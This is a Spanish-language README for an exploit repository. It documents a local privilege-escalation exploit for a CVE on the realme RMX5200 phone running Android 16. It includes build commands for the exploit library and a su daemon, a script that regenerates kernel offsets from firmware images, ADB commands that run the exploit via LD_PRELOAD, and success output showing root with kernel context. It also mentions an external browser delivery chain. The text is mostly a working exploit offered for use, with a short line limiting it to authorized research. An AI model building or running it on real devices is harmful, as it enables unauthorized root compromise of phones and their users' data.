CVE-2026-43499 para realme RMX5200

Escalada de privilegios local SO de la CVE-2026-43499 para:

Elemento	Valor
Dispositivo	realme RMX5200 / RE6030L1
Android	16
Kernel	`6.12.23-android16-5-gb2a876903b49-ab14541642-4k`
Huella	`realme/RMX5200/RE6030L1:16/BP2A.250605.015/...:user/release-keys`

Binario precompilado: bin/preload.so

Este repositorio conserva solo el árbol de compilación del SO (fuentes + offsets + precompilado). Sin harness de navegador, sin volcados de firmware, sin andamiaje de pruebas.

Basado en la cadena pública estilo IonStack / popsicle; los offsets regenerados a partir de boot.img + xbl_config.img de este dispositivo.

Estructura

.
├── bin/preload.so              # objeto compartido aarch64 precompilado (verificado)
├── generate_target.py          # opcional: regenera target.h desde boot+xbl
├── source/
│   ├── Makefile
│   └── src/
│       ├── target.h            # offsets de RMX5200
│       ├── main.c preload.c slide.c ...
│       └── kernelsnitch/
└── README.md

Compilación

Requisitos:

Android NDK (se recomienda r27+)
Python 3 + llvm-objdump (solo si se regenera target.h)

Con make

# Ejemplo con NDK en Linux
export NDK_ROOT=/path/to/android-ndk
make -C source clean preload

# Ejemplo con NDK en Windows
make -C source clean preload \
  NDK_ROOT="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018" \
  NDK_TOOLCHAIN="/c/Users/YOU/AppData/Local/Android/Sdk/ndk/27.2.12479018/toolchains/llvm/prebuilt/windows-x86_64"

Salida:

source/build/bin/preload.so

Sin make (clang directo)

cd source
mkdir -p build/bin build/embed
CC="$NDK_TOOLCHAIN/bin/aarch64-linux-android35-clang"

$CC -O2 -Isrc -fPIE -pie -DTARGET_CONFIG_H=\"target.h\" \
  src/su_daemon.c -o build/embed/su_daemon_aarch64_pie

$CC -O2 -Isrc -fPIC -Wno-unused-parameter -Wno-sign-compare -Wno-unused-function \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/main.c src/util.c src/slide.c src/fops.c src/pipe.c \
  src/preload.c src/su_blob.S \
  -shared -o build/bin/preload.so -pthread

Regenerar offsets (opcional)

Se necesitan las imágenes de firmware coincidentes (no incluidas aquí):

python3 generate_target.py \
  --boot boot.img \
  --xbl-config xbl_config.img \
  --llvm-objdump llvm-objdump \
  -o source/src/target.h

Ejecución

ADB LD_PRELOAD

adb push bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

Cadena de navegador (externa)

Cargue este preload.so mediante un host estilo Firefox-151 lonStack (p. ej., entrada de dispositivo Rootme). No se incluye en este repositorio.

Marcadores de éxito:

slide-kaslr-ok
direct credential result uid=0 ...
local su binary ready path=/data/local/tmp/su
direct-root-summary root=1 ...

uid=0(root) gid=0(root) ... context=kernel

Notas

Solo root temporal — se pierde tras reiniciar.
Después del éxito, algunas apps pueden fallar al inicializar el Framework hasta el reinicio (misma clase de efecto secundario que los objetivos públicos relacionados).
Los offsets son específicos de la compilación. Otras compilaciones OTA necesitan un nuevo target.h / recompilar.
Para investigación de seguridad autorizada en dispositivos de tu propiedad.

Créditos

Contexto de investigación pública: informes de IonStack / CVE-2026-43499
Linaje de implementación: cadena preload.so estilo popsicle
Adaptación de dispositivo: RMX5200 (RE6030L1)

Más Populares

CVE-2026-43499-RMX5200